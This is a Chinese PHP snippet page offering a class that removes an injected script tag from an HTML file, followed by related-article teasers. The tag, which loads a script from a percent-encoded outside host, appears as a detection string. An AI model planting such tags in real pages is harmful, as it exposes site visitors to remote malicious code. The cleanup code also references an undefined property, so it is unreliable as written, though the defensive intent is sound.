php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

专为新手写的结合smarty的类第1/3页

专为新手写的结合smarty的类,诚挚邀请大家多提宝贵意见 这个是为新手(也为自己)写的结合smarty一起使用的类,是未完成的,现在放出来的目的不是马上让新手使用,所以也没有把注解写的...

PHP实现对数字分隔加千分号的方法

对于较大数字,添加千分号可以方便快速地读出数值。千分号是指从最右边开始,每隔三位加个逗号。这种写法很广泛,来源大概是因为英文中 Thousand,千、million,百万、billion...

10个实用的PHP代码片段

关键词高亮 复制代码 代码如下: function highlight($sString, $aWords) { if (!is_array ($aWords) || empty ($a...

php下intval()和(int)转换使用与区别

复制代码 代码如下:<?php echo "<br/>数值强制转换:"; $string="2a"; $string1=intval($string); echo '$...

在数据量大(超过10万)的情况下

这个方法不错。 那你大可以把默认值设为99999...